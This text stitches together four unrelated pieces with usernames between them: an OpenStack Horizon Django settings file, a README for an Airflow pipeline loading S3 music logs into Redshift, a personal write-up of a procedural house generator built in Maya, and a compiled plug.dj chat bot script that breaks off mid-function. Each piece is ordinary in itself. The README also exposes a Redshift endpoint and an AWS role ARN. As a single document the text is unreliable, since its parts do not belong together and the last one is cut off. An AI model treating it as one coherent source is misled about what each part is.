Copyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import glob import logging import os import sys import warnings from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from horizon.utils.escape import monkeypatch_escape from openstack_dashboard import enabled from openstack_dashboard import exceptions from openstack_dashboard.local import enabled as local_enabled from openstack_dashboard import theme_settings from openstack_dashboard.utils import config from openstack_dashboard.utils import settings as settings_utils monkeypatch_escape() _LOG = logging.getLogger(__name__) warnings.formatwarning = lambda message, category, *args, **kwargs: \ '%s: %s' % (category.__name__, message) ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) if ROOT_PATH not in sys.path: sys.path.append(ROOT_PATH) DEBUG = False SITE_BRANDING = 'OpenStack Dashboard' WEBROOT = '/' LOGIN_URL = None LOGOUT_URL = None LOGIN_ERROR = None LOGIN_REDIRECT_URL = None MEDIA_ROOT = None MEDIA_URL = None STATIC_ROOT = None STATIC_URL = None SELECTABLE_THEMES = None INTEGRATION_TESTS_SUPPORT = False NG_TEMPLATE_CACHE_AGE = 2592000 ROOT_URLCONF = 'openstack_dashboard.urls' HORIZON_CONFIG = { 'user_home': 'openstack_dashboard.views.get_user_home', 'ajax_queue_limit': 10, 'auto_fade_alerts': { 'delay': 3000, 'fade_duration': 1500, 'types': ['alert-success', 'alert-info'] }, 'bug_url': None, 'help_url': "https://docs.openstack.org/", 'exceptions': {'recoverable': exceptions.RECOVERABLE, 'not_found': exceptions.NOT_FOUND, 'unauthorized': exceptions.UNAUTHORIZED}, 'modal_backdrop': 'static', 'angular_modules': [], 'js_files': [], 'js_spec_files': [], 'external_templates': [], 'plugins': [], 'integration_tests_support': INTEGRATION_TESTS_SUPPORT } # The OPENSTACK_IMAGE_BACKEND settings can be used to customize features # in the OpenStack Dashboard related to the Image service, such as the list # of supported image formats. OPENSTACK_IMAGE_BACKEND = { 'image_formats': [ ('', _('Select format')), ('aki', _('AKI - Amazon Kernel Image')), ('ami', _('AMI - Amazon Machine Image')), ('ari', _('ARI - Amazon Ramdisk Image')), ('docker', _('Docker')), ('iso', _('ISO - Optical Disk Image')), ('ova', _('OVA - Open Virtual Appliance')), ('ploop', _('PLOOP - Virtuozzo/Parallels Loopback Disk')), ('qcow2', _('QCOW2 - QEMU Emulator')), ('raw', _('Raw')), ('vdi', _('VDI - Virtual Disk Image')), ('vhd', _('VHD - Virtual Hard Disk')), ('vhdx', _('VHDX - Large Virtual Hard Disk')), ('vmdk', _('VMDK - Virtual Machine Disk')), ] } MIDDLEWARE = ( 'openstack_auth.middleware.OpenstackAuthMonkeyPatchMiddleware', 'debreach.middleware.RandomCommentMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'horizon.middleware.OperationLogMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'horizon.middleware.HorizonMiddleware', 'horizon.themes.ThemeMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerClientMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerMiddleware', ) CACHED_TEMPLATE_LOADERS = [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', 'horizon.loaders.TemplateLoader' ] ADD_TEMPLATE_LOADERS = [] ADD_TEMPLATE_DIRS = [] TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(ROOT_PATH, 'templates')], 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.contrib.messages.context_processors.messages', 'horizon.context_processors.horizon', 'openstack_dashboard.context_processors.openstack', ], 'loaders': [ 'horizon.themes.ThemeTemplateLoader' ], }, }, ] STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'horizon.contrib.staticfiles.finders.HorizonStaticFinder', 'compressor.finders.CompressorFinder', ) COMPRESS_PRECOMPILERS = ( ('text/scss', 'horizon.utils.scss_filter.HorizonScssFilter'), ) COMPRESS_CSS_FILTERS = ( 'compressor.filters.css_default.CssAbsoluteFilter', ) COMPRESS_ENABLED = True COMPRESS_OUTPUT_DIR = 'dashboard' COMPRESS_CSS_HASHING_METHOD = 'hash' COMPRESS_PARSER = 'compressor.parser.HtmlParser' INSTALLED_APPS = [ 'openstack_dashboard', 'django.contrib.contenttypes', 'django.contrib.auth', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.humanize', 'django_pyscss', 'debreach', 'openstack_dashboard.django_pyscss_fix', 'compressor', 'horizon', 'openstack_auth', ] AUTHENTICATION_BACKENDS = ('openstack_auth.backend.KeystoneBackend',) AUTHENTICATION_URLS = ['openstack_auth.urls'] AUTH_USER_MODEL = 'openstack_auth.User' MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' SESSION_ENGINE = 'django.contrib.sessions.backends.cache' CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '127.0.0.1:11211', }, } SESSION_COOKIE_HTTPONLY = True SESSION_EXPIRE_AT_BROWSER_CLOSE = True SESSION_COOKIE_SECURE = False # Control whether the SESSION_TIMEOUT period is refreshed due to activity. If # False, SESSION_TIMEOUT acts as a hard limit. SESSION_REFRESH = True # This SESSION_TIMEOUT is a method to supercede the token timeout with a # shorter horizon session timeout (in seconds). If SESSION_REFRESH is True (the # default) SESSION_TIMEOUT acts like an idle timeout rather than being a hard # limit, but will never exceed the token expiry. If your token expires in 60 # minutes, a value of 1800 will log users out after 30 minutes of inactivity, # or 60 minutes with activity. Setting SESSION_REFRESH to False will make # SESSION_TIMEOUT act like a hard limit on session times. SESSION_TIMEOUT = 3600 # When using cookie-based sessions, log error when the session cookie exceeds # the following size (common browsers drop cookies above a certain size): SESSION_COOKIE_MAX_SIZE = 4093 # when doing upgrades, it may be wise to stick to PickleSerializer # NOTE(berendt): Check during the K-cycle if this variable can be removed. # https://bugs.launchpad.net/horizon/+bug/1349463 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' # MEMOIZED_MAX_SIZE_DEFAULT allows setting a global default to help control # memory usage when caching. It should at least be 2 x the number of threads # with a little bit of extra buffer. MEMOIZED_MAX_SIZE_DEFAULT = 25 CSRF_FAILURE_VIEW = 'openstack_dashboard.views.csrf_failure' LANGUAGES = ( ('cs', 'Czech'), ('de', 'German'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('fr', 'French'), ('id', 'Indonesian'), ('it', 'Italian'), ('ja', 'Japanese'), ('ko', 'Korean (Korea)'), ('pl', 'Polish'), ('pt-br', 'Portuguese (Brazil)'), ('ru', 'Russian'), ('tr', 'Turkish'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Chinese (Taiwan)'), ) LANGUAGE_CODE = 'en' LANGUAGE_COOKIE_NAME = 'horizon_language' USE_I18N = True USE_L10N = True USE_TZ = True # Set OPENSTACK_CLOUDS_YAML_NAME to provide a nicer name for this cloud for # the clouds.yaml file than "openstack". OPENSTACK_CLOUDS_YAML_NAME = 'openstack' # If this cloud has a vendor profile in os-client-config, put it's name here. OPENSTACK_CLOUDS_YAML_PROFILE = '' OPENSTACK_KEYSTONE_DEFAULT_ROLE = '_member_' DEFAULT_EXCEPTION_REPORTER_FILTER = 'horizon.exceptions.HorizonReporterFilter' POLICY_FILES_PATH = os.path.join(ROOT_PATH, "conf") # Map of local copy of service policy files POLICY_FILES = { 'identity': 'keystone_policy.json', 'compute': 'nova_policy.json', 'volume': 'cinder_policy.json', 'image': 'glance_policy.json', 'network': 'neutron_policy.json', } # Services for which horizon has extra policies are defined # in POLICY_DIRS by default. POLICY_DIRS = { 'compute': ['nova_policy.d'], 'volume': ['cinder_policy.d'], } SECRET_KEY = None LOCAL_PATH = None SECURITY_GROUP_RULES = { 'all_tcp': { 'name': _('All TCP'), 'ip_protocol': 'tcp', 'from_port': '1', 'to_port': '65535', }, 'all_udp': { 'name': _('All UDP'), 'ip_protocol': 'udp', 'from_port': '1', 'to_port': '65535', }, 'all_icmp': { 'name': _('All ICMP'), 'ip_protocol': 'icmp', 'from_port': '-1', 'to_port': '-1', }, } ADD_INSTALLED_APPS = [] # NOTE: The default value of USER_MENU_LINKS will be set after loading # local_settings if it is not configured. USER_MENU_LINKS = None # 'key', 'label', 'path' AVAILABLE_THEMES = [ ( 'default', pgettext_lazy('Default style theme', 'Default'), 'themes/default' ), ( 'material', pgettext_lazy("Google's Material Design style theme", "Material"), 'themes/material' ), ] # The default theme if no cookie is present DEFAULT_THEME = 'default' # Theme Static Directory THEME_COLLECTION_DIR = 'themes' # Theme Cookie Name THEME_COOKIE_NAME = 'theme' POLICY_CHECK_FUNCTION = 'openstack_auth.policy.check' CSRF_COOKIE_AGE = None COMPRESS_OFFLINE_CONTEXT = 'horizon.themes.offline_context' SHOW_KEYSTONE_V2_RC = False SHOW_OPENRC_FILE = True SHOW_OPENSTACK_CLOUDS_YAML = True # Dictionary of currently available angular features ANGULAR_FEATURES = { 'images_panel': True, 'key_pairs_panel': True, 'flavors_panel': False, 'domains_panel': False, 'users_panel': False, 'groups_panel': False, 'roles_panel': True } # Notice all customizable configurations should be above this line XSTATIC_MODULES = settings_utils.BASE_XSTATIC_MODULES OPENSTACK_PROFILER = { 'enabled': False } if not LOCAL_PATH: LOCAL_PATH = os.path.join(ROOT_PATH, 'local') LOCAL_SETTINGS_DIR_PATH = os.path.join(LOCAL_PATH, "local_settings.d") _files = glob.glob(os.path.join(LOCAL_PATH, 'local_settings.conf')) _files.extend( sorted(glob.glob(os.path.join(LOCAL_SETTINGS_DIR_PATH, '*.conf')))) _config = config.load_config(_files, ROOT_PATH, LOCAL_PATH) # Apply the general configuration. config.apply_config(_config, globals()) try: from local.local_settings import * # noqa: F403,H303 except ImportError: _LOG.warning("No local_settings file found.") # configure templates if not TEMPLATES[0]['DIRS']: TEMPLATES[0]['DIRS'] = [os.path.join(ROOT_PATH, 'templates')] TEMPLATES[0]['DIRS'] += ADD_TEMPLATE_DIRS # configure template debugging TEMPLATES[0]['OPTIONS']['debug'] = DEBUG # Template loaders if DEBUG: TEMPLATES[0]['OPTIONS']['loaders'].extend( CACHED_TEMPLATE_LOADERS + ADD_TEMPLATE_LOADERS ) else: TEMPLATES[0]['OPTIONS']['loaders'].extend( [('django.template.loaders.cached.Loader', CACHED_TEMPLATE_LOADERS)] + ADD_TEMPLATE_LOADERS ) # allow to drop settings snippets into a local_settings_dir LOCAL_SETTINGS_DIR_PATH = os.path.join(ROOT_PATH, "local", "local_settings.d") if os.path.exists(LOCAL_SETTINGS_DIR_PATH): for (dirpath, dirnames, filenames) in os.walk(LOCAL_SETTINGS_DIR_PATH): for filename in sorted(filenames): if filename.endswith(".py"): try: with open(os.path.join(dirpath, filename)) as f: # pylint: disable=exec-used exec(f.read()) except Exception as e: _LOG.exception( "Can not exec settings snippet %s", filename) # The purpose of OPENSTACK_IMAGE_FORMATS is to provide a simple object # that does not contain the lazy-loaded translations, so the list can # be sent as JSON to the client-side (Angular). OPENSTACK_IMAGE_FORMATS = [fmt for (fmt, name) in OPENSTACK_IMAGE_BACKEND['image_formats']] if USER_MENU_LINKS is None: USER_MENU_LINKS = [] if SHOW_KEYSTONE_V2_RC: USER_MENU_LINKS.append({ 'name': _('OpenStack RC File v2'), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrcv2', }) if SHOW_OPENRC_FILE: USER_MENU_LINKS.append({ 'name': (_('OpenStack RC File v3') if SHOW_KEYSTONE_V2_RC else _('OpenStack RC File')), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrc', }) if not WEBROOT.endswith('/'): WEBROOT += '/' if LOGIN_URL is None: LOGIN_URL = WEBROOT + 'auth/login/' if LOGOUT_URL is None: LOGOUT_URL = WEBROOT + 'auth/logout/' if LOGIN_ERROR is None: LOGIN_ERROR = WEBROOT + 'auth/error/' if LOGIN_REDIRECT_URL is None: LOGIN_REDIRECT_URL = WEBROOT if MEDIA_ROOT is None: MEDIA_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'media')) if MEDIA_URL is None: MEDIA_URL = WEBROOT + 'media/' if STATIC_ROOT is None: STATIC_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'static')) if STATIC_URL is None: STATIC_URL = WEBROOT + 'static/' AVAILABLE_THEMES, SELECTABLE_THEMES, DEFAULT_THEME = ( theme_settings.get_available_themes( AVAILABLE_THEMES, DEFAULT_THEME, SELECTABLE_THEMES ) ) # Discover all the directories that contain static files STATICFILES_DIRS = theme_settings.get_theme_static_dirs( AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) # Ensure that we always have a SECRET_KEY set, even when no local_settings.py # file is present. See local_settings.py.example for full documentation on the # horizon.utils.secret_key module and its use. if not SECRET_KEY: if not LOCAL_PATH: LOCAL_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'local') # pylint: disable=ungrouped-imports from horizon.utils import secret_key SECRET_KEY = secret_key.generate_or_read_from_file(os.path.join(LOCAL_PATH, '.secret_key_store')) # populate HORIZON_CONFIG with auto-discovered JavaScript sources, mock files, # specs files and external templates. settings_utils.find_static_files(HORIZON_CONFIG, AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) INSTALLED_APPS = list(INSTALLED_APPS) # Make sure it's mutable settings_utils.update_dashboards( [ enabled, local_enabled, ], HORIZON_CONFIG, INSTALLED_APPS, ) INSTALLED_APPS[0:0] = ADD_INSTALLED_APPS NG_TEMPLATE_CACHE_AGE = NG_TEMPLATE_CACHE_AGE if not DEBUG else 0 # Include xstatic_modules specified in plugin XSTATIC_MODULES += HORIZON_CONFIG['xstatic_modules'] # Discover all the xstatic module entry points to embed in our HTML STATICFILES_DIRS += settings_utils.get_xstatic_dirs( XSTATIC_MODULES, HORIZON_CONFIG) # This base context objects gets added to the offline context generator # for each theme configured. HORIZON_COMPRESS_OFFLINE_CONTEXT_BASE = { 'WEBROOT': WEBROOT, 'STATIC_URL': STATIC_URL, 'HORIZON_CONFIG': HORIZON_CONFIG, 'NG_TEMPLATE_CACHE_AGE': NG_TEMPLATE_CACHE_AGE, } if DEBUG: logging.basicConfig(level=logging.DEBUG) # Here comes the Django settings deprecation section. Being at the very end # of settings.py allows it to catch the settings defined in local_settings.py # or inside one of local_settings.d/ snippets.
ultranet1
Project Description: A music streaming company wants to introduce more automation and monitoring to their data warehouse ETL pipelines and they have come to the conclusion that the best tool to achieve this is Apache Airflow. As their Data Engineer, I was tasked to create a reusable production-grade data pipeline that incorporates data quality checks and allows for easy backfills. Several analysts and Data Scientists rely on the output generated by this pipeline and it is expected that the pipeline runs daily on a schedule by pulling new data from the source and store the results to the destination. Data Description: The source data resides in S3 and needs to be processed in a data warehouse in Amazon Redshift. The source datasets consist of JSON logs that tell about user activity in the application and JSON metadata about the songs the users listen to. Data Pipeline design: At a high-level the pipeline does the following tasks. Extract data from multiple S3 locations. Load the data into Redshift cluster. Transform the data into a star schema. Perform data validation and data quality checks. Calculate the most played songs for the specified time interval. Load the result back into S3. dag Structure of the Airflow DAG Design Goals: Based on the requirements of our data consumers, our pipeline is required to adhere to the following guidelines: The DAG should not have any dependencies on past runs. On failure, the task is retried for 3 times. Retries happen every 5 minutes. Catchup is turned off. Do not email on retry. Pipeline Implementation: Apache Airflow is a Python framework for programmatically creating workflows in DAGs, e.g. ETL processes, generating reports, and retraining models on a daily basis. The Airflow UI automatically parses our DAG and creates a natural representation for the movement and transformation of data. A DAG simply is a collection of all the tasks you want to run, organized in a way that reflects their relationships and dependencies. A DAG describes how you want to carry out your workflow, and Operators determine what actually gets done. By default, airflow comes with some simple built-in operators like PythonOperator, BashOperator, DummyOperator etc., however, airflow lets you extend the features of a BaseOperator and create custom operators. For this project, I developed several custom operators. operators The description of each of these operators follows: StageToRedshiftOperator: Stages data to a specific redshift cluster from a specified S3 location. Operator uses templated fields to handle partitioned S3 locations. LoadFactOperator: Loads data to the given fact table by running the provided sql statement. Supports delete-insert and append style loads. LoadDimensionOperator: Loads data to the given dimension table by running the provided sql statement. Supports delete-insert and append style loads. SubDagOperator: Two or more operators can be grouped into one task using the SubDagOperator. Here, I am grouping the tasks of checking if the given table has rows and then run a series of data quality sql commands. HasRowsOperator: Data quality check to ensure that the specified table has rows. DataQualityOperator: Performs data quality checks by running sql statements to validate the data. SongPopularityOperator: Calculates the top ten most popular songs for a given interval. The interval is dictated by the DAG schedule. UnloadToS3Operator: Stores the analysis result back to the given S3 location. Code for each of these operators is located in the plugins/operators directory. Pipeline Schedule and Data Partitioning: The events data residing on S3 is partitioned by year (2018) and month (11). Our task is to incrementally load the event json files, and run it through the entire pipeline to calculate song popularity and store the result back into S3. In this manner, we can obtain the top songs per day in an automated fashion using the pipeline. Please note, this is a trivial analyis, but you can imagine other complex queries that follow similar structure. S3 Input events data: s3://<bucket>/log_data/2018/11/ 2018-11-01-events.json 2018-11-02-events.json 2018-11-03-events.json .. 2018-11-28-events.json 2018-11-29-events.json 2018-11-30-events.json S3 Output song popularity data: s3://skuchkula-topsongs/ songpopularity_2018-11-01 songpopularity_2018-11-02 songpopularity_2018-11-03 ... songpopularity_2018-11-28 songpopularity_2018-11-29 songpopularity_2018-11-30 The DAG can be configured by giving it some default_args which specify the start_date, end_date and other design choices which I have mentioned above. default_args = { 'owner': 'shravan', 'start_date': datetime(2018, 11, 1), 'end_date': datetime(2018, 11, 30), 'depends_on_past': False, 'email_on_retry': False, 'retries': 3, 'retry_delay': timedelta(minutes=5), 'catchup_by_default': False, 'provide_context': True, } How to run this project? Step 1: Create AWS Redshift Cluster using either the console or through the notebook provided in create-redshift-cluster Run the notebook to create AWS Redshift Cluster. Make a note of: DWN_ENDPOINT :: dwhcluster.c4m4dhrmsdov.us-west-2.redshift.amazonaws.com DWH_ROLE_ARN :: arn:aws:iam::506140549518:role/dwhRole Step 2: Start Apache Airflow Run docker-compose up from the directory containing docker-compose.yml. Ensure that you have mapped the volume to point to the location where you have your DAGs. NOTE: You can find details of how to manage Apache Airflow on mac here: https://gist.github.com/shravan-kuchkula/a3f357ff34cf5e3b862f3132fb599cf3 start_airflow Step 3: Configure Apache Airflow Hooks On the left is the S3 connection. The Login and password are the IAM user's access key and secret key that you created. Basically, by using these credentials, we are able to read data from S3. On the right is the redshift connection. These values can be easily gathered from your Redshift cluster connections Step 4: Execute the create-tables-dag This dag will create the staging, fact and dimension tables. The reason we need to trigger this manually is because, we want to keep this out of main dag. Normally, creation of tables can be handled by just triggering a script. But for the sake of illustration, I created a DAG for this and had Airflow trigger the DAG. You can turn off the DAG once it is completed. After running this DAG, you should see all the tables created in the AWS Redshift. Step 5: Turn on the load_and_transform_data_in_redshift dag As the execution start date is 2018-11-1 with a schedule interval @daily and the execution end date is 2018-11-30, Airflow will automatically trigger and schedule the dag runs once per day for 30 times. Shown below are the 30 DAG runs ranging from start_date till end_date, that are trigged by airflow once per day. schedule
amir2510
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LucasHartman
‘Generative House Algorithm’ was constructed for one simple reason, being one click away from creating a range of uniquely designed model houses. At the beginning of 2020, the start of the covid-19 pandemic, I started learning programming. My background is in developing 3D motion graphics, but my work goes into different directions. I feel inspired by trying out new things, but often feel constrained by the software I use. I never found the right software that could satisfy my every need. A few years back, I visited a motion graphics event in Prague. Here I saw a presentation by Simon Homedal from Man vs. Machine and he introduced me to procedural programming for digital art. And so my journey into learning to code started. Being stuck at home because of covid-19, I was presented with a change to really jump in and start developing a few coding projects. I started out with a simple board game in Java, where I was introduced to ‘object oriented programming’ and UI development and many other general concepts. At the end of this project I came to the conclusion that simple programming is not enough, I needed to combine with something I already have experience of. So I started using Python inside Maya, focusing on asset development of simple programs I could execute whenever I’m working on a 3D project. At the time I was wondering if I could deconstruct houses to an algorithm. The inspiration for this project came from wandering around the residential areas where I lived. Zandberg has very diverse styles of architecture; Terrace houses with high ceilings, classical villas with roofs made of straw and modern villas built after WWII. I was captivated by the diversity in design. Breakdown A simple UI inside Maya, where the uses can specify the value for generating a number of houses. Simple things like level and roof height, number of doors, max number of levels, etc. Lastly a button that would take in the value and run the algorithm. The back-end consists of a number of Python modules, textures and .obj files. One Python file called the “Main”, is where the files are assembled and executed. Process Developing a generative algorithm is a process of trial and error. At the start of the project I treated the project like any other modeling project, only every design decision was programmed in with a number of possible solutions. Over time this would become very complex and unstructured. It became impossible to go back and modify what I already wrote down. Another problem was that the algorithm was creating the model for running the code. This meant that selecting, adding and subtracting mesh to the model cost a lot of processing power, to the point my computer would freeze up. I needed to rethink my process and develop a framework which is easy to modify and light on the processor. My new plan of attack was to do as little as possible in Maya. All design instructions needed to be solved before anything can be created in Maya. Going into this direction was a hard choice. First off, it’s not a guarantee for success. The moment I would go too deep, things can get messy very easily. Besides I consider myself more of a visual thinker. Working outside of Maya meant every hurdle would be some sort of math problem. I already knew I had no choice, and understood this is the type of problem solving a programmer has to deal with. So I started out doing a little bit of RnD. My first test was to create a number of lists. Generally every list would hold some type of value. Like positional data, labels, dimensions, objects etc. and the rest would be a range of functions iterating, generating, gathering, and sorting data into these lists. These seemed flexible enough, if I needed to add new details to the model, I would make a new list and apply this into the framework. This type of framework was not very structured as I hoped. Luckily I discarded this ideal before it really began. I was already attracted by the idea of using a matrix instead of lists at the top of lists. The matrix would provide data in three dimensions, like a volume or a box made out of separate units. I would add an extra dimension to each unit, which is a list of six values. Each value would represent each side of a unit. The general ideal of a matrix is like a fluid simulation, which is made out of a matrix of voxels, or like Minecraft where each unit can be some type of block. This would create a data structure that is easy to modify. The next step would be to feed the matrix with values. A value can represent walls, doors, windows, levels, rooftops, position and direction. It starts with an empty matrix, and secondly fill it with values of 1 (later on inside Maya, value 1 would generate a wall, the location within the matrix would be translated to 3D space). If you’d stop here and translate the matrix to mesh in Maya, you would get a cluster of boxes stacked next or on top of each other. Adding more data to the matrix meant it needed to structure itself, so it would generate a cohesive design. If not the final result would be a house with holes in the wall or floating rooms. Therefore a number of functions are needed for searching for patterns, and modifying the data. A standard function would iterate over each unit in the matrix and check the neighboring values. If some sort of condition is met, the proper value will be modified. Going back to our cluster of boxes example. If a has a neighbouring box in front and to the left, but nothing on top, this would be a condition where a corner roof would be generated. And so different functions would solve design problems. In the end you would be left with a matrix of values that would serve as a blueprint for generating in house inside Maya. Finally the model needs to be made in Maya. A number of parts like a wall, door or window are generated or imported in Maya. When iterating over the finished matrix, a certain value in a certain place in the matrix will decide which objects (example wall or roof) needs to be instanced and placed in the right position and direction. When the matrix is fully realised in Maya the model gets a final cleanup, by merging the model, deleting unused parts and empty groups. What is left is the house model. If a range of houses needs to be generated, the process is simply looped over a number of times. Final word This project took way longer than I had anticipated and is far from finished. I learned a lot and at the same time it feels like I have only just begun. I hope to pick up this project again in the near future. I would love to add more elements to the house, like roof-windows or balconies and create procedural shaders. And possibly try out machine learning or some type of genetic algorithm. If you have any questions or are intrigued please contact me at ljh.hartman@gmail.com. Cheers!
Leandropesao
// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, channelCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (_hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 666 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "Entrem na nossa pagina: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl" }, { interval: 5, offset: 0, msg: "Mantenha-se ativo no bate-papo e Votando. Ser não sera Retirado da Lista de DJ e da Cabine!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser = __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return 